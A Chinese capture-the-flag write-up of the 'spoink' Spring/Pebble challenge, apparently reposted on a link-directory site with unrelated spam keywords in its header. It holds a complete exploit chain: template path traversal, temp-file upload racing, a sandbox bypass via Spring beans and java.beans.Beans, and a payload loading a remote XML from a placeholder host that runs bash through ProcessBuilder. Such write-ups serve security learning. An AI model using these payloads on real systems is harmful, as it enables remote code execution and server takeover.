亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.430618.com 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

寫在前面

之前周末忙著強網杯,對這道題只做了一半就擱置下來了,最后卡在繞過最新pebble模板引擎RCE那里,今天抽空來繼續進行剩下的分析,正好題目里有幾個在現實場景當中能用的trick順便也分享了

題目環境分析

也是挺不錯題目直接給了Docker環境便于本地搭建,同時設置了權限需要執行./getflag才能獲取獲得flag

FROM openjdk:18-slim-bullseyeRUN mkdir /usr/src/AppWORKDIR /usr/src/app# create userRUN groupadd chalusrRUN useradd -ms /bin/bash -g chalusr chalusrCOPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./COPY spoink/public ./publicCOPY spoink/templates ./templatesCOPY getflag ./RUN chmod 111 ./getflagUSER chalusrCMD ["JAVA", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]

路由只有一個,根據參數x返回指定模板,剛看到這里的時候其實有點懵,畢竟很少見到只給一個路由的代碼

@Controllerpublic class HomeController {    public HomeController() {    }    @RequestMapping({"/"})    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {        return (String)template.orElse("home.pebble");    }}

不過我很快關注到了一個application.properties當中一個很有趣的點,也就是這里沒有后綴,因此想到了一個目錄穿越的可能

pebble.prefix = templatespebble.suffix =

正文

目錄穿越

為什么我說上面那個點很有趣,其實就是第一個想分享的trick,路徑穿越,簡單來說pebble當中有兩個loader一個是classpathloader,另一個是fileloader,優先會在classpath下嘗試加載模板文件,如果尋找不到則使用fileloader嘗試加載模板文件,其他調用棧不是很重要這里就不多提了

既然想實現任意文件讀那第一個就別想了,我們來看第二個,它在
com.mitchellbosecke.pebble.loader.FileLoader#getFile最終加載模板文件內容

可以很明顯看到這里沒有做路徑限制,導致我們可以進行跨目錄讀任意文件

 

結果如下

 

RCE攻擊路徑初步構建

因此我們便能成功想到一條能RCE的攻擊路徑

  1. 上傳帶惡意內容的模板文件到目標服務器
  2. 利用LFI讀取這個模板并RCE

如何上傳文件?上傳了如何獲?。?/h1>

但是這里就遇到第一個難點,如何上傳文件?這里路由當中并沒有上傳文件的功能點

怎么辦?其實很簡單,我們也知道,我們的Spring MVC框架是圍繞DispatcherServlet來設計的,這個Servlet會把請求分發給各個處理器,并支持可配置的處理器映射、視圖渲染、本地化、時區與主題渲染和 文件上傳 等功能,好了我都圈出來重點了

在這過程當中它會檢查這是否是一個表單請求

 

正好我們也知道spring默認使用內置的Tomcat引擎,

在處理表單的內容當中這會調用
org.Apache.catalina.connector.Request#getParts 去處理解析內容,而這在之前的文章Tomcat文件上傳流量層面系列文章當中也提到過,遺忘的可以去 我的博客 考古

廢話不多說,類似php的處理一樣,它會先將上傳的文件保存到一個臨時目錄再最終復制到目標文件夾,臨時文件夾的獲取在哪里,在
org.apache.catalina.connector.Request#parseParts

 

發現是通過
javax.servlet.MultipartConfigElement#getLocation 函數獲取到保存到臨時路徑

不難看到這里是空對吧,也就是默認值(默認的話后面會存到/tmp目錄下),順便多提一下,哪里可以設置這個location呢

 

在spring的啟動過程當中,會根據
spring.servlet.multipart.location 的值設置這個內容,具體可以自行去參考
org.springframework.boot.autoconfigure.web.servlet.MultipartProperties

@ConfigurationProperties(    prefix = "spring.servlet.multipart",    ignoreUnknownFields = false)public class MultipartProperties {    private boolean enabled = true;    private String location;    private DataSize maxFileSize = DataSize.ofMegabytes(1L);    private DataSize maxRequestSize = DataSize.ofMegabytes(10L);    private DataSize fileSizeThreshold = DataSize.ofBytes(0L);    private boolean resolveLazily = false;    public MultipartProperties() {    }    public boolean getEnabled() {        return this.enabled;    }    public void setEnabled(boolean enabled) {        this.enabled = enabled;    }    public String getLocation() {        return this.location;    }    public void setLocation(String location) {        this.location = location;    }    public DataSize getMaxFileSize() {        return this.maxFileSize;    }    public void setMaxFileSize(DataSize maxFileSize) {        this.maxFileSize = maxFileSize;    }    public DataSize getMaxRequestSize() {        return this.maxRequestSize;    }    public void setMaxRequestSize(DataSize maxRequestSize) {        this.maxRequestSize = maxRequestSize;    }    public DataSize getFileSizeThreshold() {        return this.fileSizeThreshold;    }    public void setFileSizeThreshold(DataSize fileSizeThreshold) {        this.fileSizeThreshold = fileSizeThreshold;    }    public boolean isResolveLazily() {        return this.resolveLazily;    }    public void setResolveLazily(boolean resolveLazily) {        this.resolveLazily = resolveLazily;    }    public MultipartConfigElement createMultipartConfig() {        MultipartConfigFactory factory = new MultipartConfigFactory();        PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();        map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);        map.from(this.location).whenHasText().to(factory::setLocation);        map.from(this.maxRequestSize).to(factory::setMaxRequestSize);        map.from(this.maxFileSize).to(factory::setMaxFileSize);        return factory.createMultipartConfig();    }}

ok回到正文,如果這為空,就會保存到默認路徑,也就是
javax.servlet.context.tempdir ,實際上就是在/tmp目錄下

try {  String locationStr = mce.getLocation();  File location;  if (locationStr != null && locationStr.length() != 0) {    location = new File(locationStr);    if (!location.isAbsolute()) {      location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();    }  } else {    location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");  }

這里調試可以看到將會保存在這個看著就不能爆破的文件夾下,

 

且不說前面這個又臭又長的文件夾,在最終生成臨時文件時
org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile

還有靠UID隨機生成的文件名,真的是不怕麻煩

protected File getTempFile() {  if (this.tempFile == null) {    File tempDir = this.repository;    if (tempDir == null) {      tempDir = new File(System.getProperty("java.io.tmpdir"));    }    String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());    this.tempFile = new File(tempDir, tempFileName);  }  return this.tempFile;}

不過當然我們肯定是有辦法的啦,別忘了有個東西叫文件描述符,這玩意兒是啥我想大家都知道,因此我們可以通過上傳大文件多線程狂轟亂炸,burp都給我沖起來!不得不說狂轟亂炸法yyds!按理說上傳完了以后這玩意兒就應該關閉,結果我發現我停止后,去和yzddmr6吹牛一分鐘都還在。

當然其實還可以通過curl命令的--limit-rate參數來限制HTTP請求和回應的帶寬,但我覺得burp狂轟亂炸更適合我.

curl --limit-rate 1k -X POST http://vps:1234 -F "<a href="https://paper.seebug.org/cdn-cgi/l/email-protection" data-cfemail="a0c6c9ccc59de0">[email protected]</a>/tmp/1.txt"

 

之后就是如何實現模板注入實現RCE了

利用現有環境Bypass最新版Pebble模板引擎限制

網上隨便抄了一個看起來最新的

{% set cmd = 'id' %}{% set bytes = (1).TYPE     .forName('java.lang.Runtime')     .methods[6]     .invoke(null,null)     .exec(cmd)     .inputStream     .readAllBytes() %}{{ (1).TYPE     .forName('java.lang.String')     .constructors[0]     .newInstance(([bytes]).toArray()) }}

結果命令行大大的問號?然后想到了這是最新版修復了之前的問題

 

根據報錯內容的顯示,接下來我們看看具體做的哪些限制,可以看到夠惡心的不能是下面這么多類的實例???并且能調用FORBIDDEN_METHODS 當中的方法,特別是判斷是否為Class實例將我們反射的路給斷掉了(在這個模板語法當中只能通過xx.class.forName去獲取其他對象) ,剩下代碼也很簡單就不帶著讀了

public class BlacklistMethodAccessValidator implements MethodAccessValidator {    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};    public BlacklistMethodAccessValidator() {    }    public boolean isMethodAccessAllowed(Object object, Method method) {        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);        return !methodForbidden;    }    private boolean isUnsafeMethod(Method member) {        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);    }    private boolean isAnyOfMethods(Method member, String... methods) {        String[] var3 = methods;        int var4 = methods.length;        for(int var5 = 0; var5 < var4; ++var5) {            String method = var3[var5];            if (this.isMethodWithName(member, method)) {                return true;            }        }        return false;    }    private boolean isMethodWithName(Method member, String method) {        return member.getName().equals(method);    }}

如何繞過限制加載任意Class對象

我們也知道Spring 應用程序的許多實例都隱式注冊為bean,因此我們能不能從bean當中找到一個對象而這個對象當中保存了classloader對象,通過獲取到它我們就能通過執行loadClass加載到任意對象

既然如此,第一反應其實就是想到去上下文中看看有沒有這些bean對象,而pebble在初始化上下文時是在
com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 當中

可以看到這個map當中存了beans對象,而這個beans對象當中存的是那些bean對象,一方面我們可以直接遍歷輸出到控制臺

 

另一方面我們也可以直接在代碼當中看一眼,反正不費事往上看看,可以看到是在
com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel

當中,獲取了spring的應用程序上下文并添加到beans屬性當中

private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {  model.put("beans", new Beans(this.getApplicationContext()));  model.put("request", request);  model.put("response", response);  model.put("session", request.getSession(false));}

因此我們可以通過表達式獲取到這個上下文當中注冊的bean,去嘗試尋找一些其他的屬性來繞過限制,

因此為了方便遍歷bean當中的類,我們在原路由前加上獲取上下文的部分代碼

@RequestMapping({"/"})public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {  ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();  org.springframework.web.context.WebApplicationContext context  = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);  String[] beanDefinitionNames = context.getBeanDefinitionNames();  for (String o:beanDefinitionNames) {    System.out.println(o.toString());  }  return (String)template.orElse("home.pebble");}

重新啟動項目并訪問可以得到控制臺輸出

//輸出org.springframework.context.annotation.internalConfigurationAnnotationProcessororg.springframework.context.annotation.internalAutowiredAnnotationProcessororg.springframework.context.annotation.internalCommonAnnotationProcessororg.springframework.context.event.internalEventListenerProcessororg.springframework.context.event.internalEventListenerFactoryspoinkApplicationorg.springframework.boot.autoconfigure.internalCachingMetadataReaderFactoryhomeControllerpebbleLoaderorg.springframework.boot.autoconfigure.AutoConfigurationPackagesorg.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfigurationpropertySourcesPlaceholderConfigurerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfigurationwebsocketServletWebServerCustomizerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcattomcatServletWebServerFactoryorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfigurationservletWebServerFactoryCustomizertomcatServletWebServerFactoryCustomizerorg.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessororg.springframework.boot.context.internalConfigurationPropertiesBinderFactoryorg.springframework.boot.context.internalConfigurationPropertiesBinderorg.springframework.boot.context.properties.BoundConfigurationPropertiesorg.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilterserver-org.springframework.boot.autoconfigure.web.ServerPropertieswebServerFactoryCustomizerBeanPostProcessorerrorPageRegistrarBeanPostProcessororg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfigurationdispatcherServletspring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcPropertiesorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfigurationdispatcherServletRegistrationorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfigurationorg.springframework.boot.autoconfigure.task.TaskExecutionAutoConfigurationtaskExecutorBuilderapplicationTaskExecutorspring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfigurationerrorbeanNameViewResolverorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfigurationconventionErrorViewResolverspring.web-org.springframework.boot.autoconfigure.web.WebPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfigurationerrorAttributesbasicErrorControllererrorPageCustomizerpreserveErrorControllerTargetClassPostProcessororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfigurationrequestMappingHandlerAdapterrequestMappingHandlerMappingwelcomePageHandlerMappinglocaleResolverthemeResolverflashMapManagermvcConversionServicemvcValidatormvcContentNegotiationManagermvcPatternParsermvcUrlPathHelpermvcPathMatcherviewControllerHandlerMappingbeanNameHandlerMappingrouterFunctionMappingresourceHandlerMappingmvcResourceUrlProviderdefaultServletHandlerMappinghandlerFunctionAdaptermvcUriComponentsContributorhttpRequestHandlerAdaptersimpleControllerHandlerAdapterhandlerExceptionResolvermvcViewResolvermvcHandlerMappingIntrospectorviewNameTranslatororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapterdefaultViewResolverviewResolverrequestContextFilterorg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfigurationformContentFiltercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfigurationpebbleViewResolvercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfigurationspringExtensionpebbleEnginepebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebblePropertiesorg.springframework.boot.autoconfigure.jmx.JmxAutoConfigurationmbeanExporterobjectNamingStrategymbeanServerorg.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfigurationspringApplicationAdminRegistrarorg.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfigurationforceAutoProxyCreatorToUseClassProxyingorg.springframework.boot.autoconfigure.aop.AopAutoConfigurationorg.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfigurationapplicationAvailabilityorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfigurationstandardJacksonObjectMapperBuilderCustomizerspring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonPropertiesorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfigurationjacksonObjectMapperBuilderorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfigurationparameterNamesModuleorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfigurationjacksonObjectMapperorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfigurationjsonComponentModuleorg.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfigurationorg.springframework.boot.autoconfigure.context.LifecycleAutoConfigurationlifecycleProcessorspring.lifecycle-org.springframework.boot.autoconfigure.context.LifecyclePropertiesorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfigurationstringHttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfigurationmappingJackson2HttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfigurationorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfigurationmessageConvertersorg.springframework.boot.autoconfigure.info.ProjectInfoAutoConfigurationspring.info-org.springframework.boot.autoconfigure.info.ProjectInfoPropertiesorg.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfigurationspring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationPropertiesorg.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessororg.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfigurationscheduledBeanLazyInitializationExcludeFiltertaskSchedulerBuilderspring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingPropertiesorg.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfigurationrestTemplateBuilderConfigurerrestTemplateBuilderorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfigurationtomcatWebServerFactoryCustomizerorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfigurationcharacterEncodingFilterlocaleCharsetMappingsCustomizerorg.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfigurationmultipartConfigElementmultipartResolverspring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartPropertiesorg.springframework.aop.config.internalAutoProxyCreator

之后也算運氣好,測了前幾個就發現通過取得
internalCachingMetadataReaderFactory對象可以拿到classLoader

 

因此有了這個我們便可以加載任意類了

{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}

但是我們需要獲得一個類實例,但是我們不能去調用它的任何方法畢竟是class類,很好的一點是這里有jackson??,beans對象里也能直接獲取到,解決一切問題

{% set woshishuaibi =  beans.get("jacksonObjectMapper").readValue("{}", class1) %}

因此我們能獲得一個類的實例以后rce就相對“簡單”了??,比如說

ScriptEngineManager engineManager = new ScriptEngineManager();ScriptEngine engine = engineManager.getEngineByName("js");engine.eval("xxxx");

但題目當中環境是jdk18,發現
engineManager.getEngineByName里面褲子都不剩了啥都沒有,看來這個方法也是沒用的,同時由于jackson實例化限制我們也不能直接實例化jshell

此時靈機一動我又想到兩個類,它們實例化加載配置文件可以造成rce

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

但是臉黑啊,環境里面jackson有限制,繼承了
AbstractPointcutAdvisor/AbstractApplicationContext這兩個類的都不行,心里xxx

 

這時候怎么辦呢?那classpath下有沒有某個類可以幫助我們實例化任意對象呢?

另類繞過Jackson黑名單限制

當然有噠!也就是java.beans.Beans類,這個類可以幫助我們實例化任意方法

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {  return Beans.instantiate(cls, beanName, null, null);}

這里的參數cls可以不傳,為null則會默認調用
ClassLoader.getSystemClassLoader();獲取一個classloader

public static Object instantiate(ClassLoader cls, String beanName,                                 BeanContext beanContext,                                 AppletInitializer initializer)  throws IOException, ClassNotFoundException {  InputStream ins;  ObjectInputStream oins = null;  Object result = null;  boolean serialized = false;  IOException serex = null;  // If the given classloader is null, we check if an  // system classloader is available and (if so)  // use that instead.  // Note that calls on the system class loader will  // look in the bootstrap class loader first.  if (cls == null) {    try {      cls = ClassLoader.getSystemClassLoader();    } catch (SecurityException ex) {      // We're not allowed to access the system class loader.      // Drop through.    }  }

之后的邏輯我們不需要關注那個二次反序列化的部分,在后面可以看到可以實例化任意public修飾的構造方法

if (result == null) {  // No serialized object, try just instantiating the class  Class<?> cl;  try {    cl = ClassFinder.findClass(beanName, cls);  } catch (ClassNotFoundException ex) {    // There is no appropriate class.  If we earlier tried to    // deserialize an object and got an IO exception, throw that,    // otherwise rethrow the ClassNotFoundException.    if (serex != null) {      throw serex;    }    throw ex;  }  if (!Modifier.isPublic(cl.getModifiers())) {    throw new ClassNotFoundException("" + cl + " : no public access");  }  /*             * Try to instantiate the class.             */  try {    result = cl.newInstance();  } catch (Exception ex) {    // We have to remap the exception to one in our signature.    // But we pass extra information in the detail message.    throw new ClassNotFoundException("" + cl + " : " + ex, ex);  }}

最終構造實現RCE

最終模板文件構造

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}{{ yyy.setConfigLocation("http://xxxx/1.xml") }}{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>open</value>                <value>-a</value>                <value>calculator</value>            </list>            </constructor-arg>        </bean>    </beans>

本地彈出了計算器,那么現在則可以開始著手解題了,

構造命令 ./getflag > /tmp/flag

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>bash</value>                <value>-c</value>                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>            </list>            </constructor-arg>        </bean>    </beans>

先用burp狂轟亂炸,看到頁面有回顯的說明執行成功

 

再包含進來就ok了

 

原文鏈接:
https://f5.pm/go-121363.html

分享到:
標簽:Spring
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定